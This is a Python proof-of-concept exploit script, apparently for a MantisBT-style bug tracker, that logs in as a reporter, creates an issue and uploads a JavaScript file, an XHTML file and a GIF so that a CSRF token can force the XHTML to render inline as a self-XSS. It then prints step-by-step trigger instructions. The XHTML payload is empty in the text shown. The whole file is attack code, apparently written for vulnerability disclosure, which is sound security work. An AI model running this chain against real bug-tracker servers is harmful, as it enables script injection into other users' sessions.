import requests from bs4 import BeautifulSoup from base64 import b64encode from urllib.parse import urlencode class Poc: def __init__(self, baseUrl): self.baseUrl = baseUrl self.ISSUE_CATEGORY_GENERAL_ID = 1 self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME = 'file_show_inline_token' self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me' self.REST_CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/api/rest/issues' self.REST_ADD_ATTACHMENT_TO_ISSUE_ENDPOINT = f'{self.baseUrl}/api/rest/issues/{{issueId}}/files' self.REST_GET_ISSUE_FILES_ENDPOINT = f'{self.baseUrl}/api/rest/issues/{{issueId}}/files' self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php' self.FILE_DOWNLOAD_ENDPOINT = f'{self.baseUrl}/file_download.php' self.VIEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/view.php?id={{issueId}}' def login(self, account): data = { 'username': account['username'], 'password': account['password'] } response = account['session'].post(self.LOGIN_ENDPOINT, data=data) response.raise_for_status() def getCurrentUserInfo(self, account): response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT) response.raise_for_status() return response.json() def getCSRFToken(self, endpoint, account, tagName, attributeName): response = account['session'].get(endpoint) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser') csrfToken = soup.find(tagName)[attributeName] return csrfToken def createNewIssue(self, account, summary='PoC', description='Poc'): data = { 'summary': summary, 'description': description, 'project': account['user_info']['projects'][0], 'category': { 'id': self.ISSUE_CATEGORY_GENERAL_ID } } response = account['session'].post(self.REST_CREATE_NEW_ISSUE_ENDPOINT, json=data) response.raise_for_status() return response.json()['issue'] def addAttachmentToIssue(self, account, issueId, files): data = { 'files': files } response = account['session'].post(self.REST_ADD_ATTACHMENT_TO_ISSUE_ENDPOINT.format(issueId=issueId), json=data) response.raise_for_status() def getAllIssueAttachments(self, account, issueId): response = account['session'].get(self.REST_GET_ISSUE_FILES_ENDPOINT.format(issueId=issueId)) response.raise_for_status() return response.json()['files'] def getIssueAttachmentEndpoint(self, account, issueId, fileName): files = self.getAllIssueAttachments(account, issueId) for file in files: if file['filename'] != fileName: continue parameter = { 'file_id': file['id'], 'type': 'bug' } url = f'/{self.FILE_DOWNLOAD_ENDPOINT.split("/")[-1]}?{urlencode(parameter)}' return url return None def execute(self, accounts): # 1. Login as reporter self.login(accounts['reporter']) accounts['reporter']['user_info'] = self.getCurrentUserInfo(accounts['reporter']) newIssue = self.createNewIssue(accounts['reporter']) print(f'[+] Created a new issue. ID: {newIssue["id"]}') # 2. Upload JavaScript file javaScriptPayload = ''' #!/usr/bin/env node alert(origin) '''.strip() javaScriptFile = { 'name': 'exploit.js', 'content': b64encode(javaScriptPayload.encode()).decode() } self.addAttachmentToIssue(accounts['reporter'], newIssue['id'], [javaScriptFile]) javaScriptFileEndpoint = self.getIssueAttachmentEndpoint(accounts['reporter'], newIssue['id'], javaScriptFile['name']) print(f'[+] Uploaded JavaScript file. File endpoint: {javaScriptFileEndpoint}') # 3. Upload XHTML file, which will get treated as MIME type `text/xml` by PHP finfo. Also upload an image file to get a valid `file_show_inline_token`, so that we can force the XHTML file to be shown inline xhtmlPayload = f''' '''.strip() imagePayload = 'GIF89a' # Minimal valid GIF file header files = [ { 'name': 'exploit.xhtml', 'content': b64encode(xhtmlPayload.encode()).decode() }, { 'name': 'inline_token.gif', 'content': b64encode(imagePayload.encode()).decode() } ] self.addAttachmentToIssue(accounts['reporter'], newIssue['id'], files) xhtmlFileEndpoint = self.getIssueAttachmentEndpoint(accounts['reporter'], newIssue['id'], files[0]['name']) xhtmlFileId = xhtmlFileEndpoint.split('file_id=')[-1].split('&')[0] imageFileEndpoint = self.getIssueAttachmentEndpoint(accounts['reporter'], newIssue['id'], files[1]['name']) print(f'[+] Uploaded XHTML file. File endpoint: {xhtmlFileEndpoint}') print(f'[+] Uploaded image file. File endpoint: {imageFileEndpoint}') print(f'[+] To trigger the self-XSS payload:') print(f' 1. Login as {accounts["reporter"]["username"]}') print(f' 2. Visit the issue page: {self.VIEW_ISSUE_PAGE_ENDPOINT.format(issueId=newIssue["id"])}') print(f' 3. Get CSRF token {self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME} from the image file "{files[1]["name"]}"') print(f' 4. Visit URL: {self.FILE_DOWNLOAD_ENDPOINT}?file_id={xhtmlFileId}&type=bug&show_inline=1&{self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME}=<{files[1]["name"]}_{self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME}>') if __name__ == '__main__': baseUrl = 'http://localhost:8080' accounts = { 'reporter': { 'username': 'reporter', 'password': 'password', 'session': requests.Session() } } poc = Poc(baseUrl) poc.execute(accounts)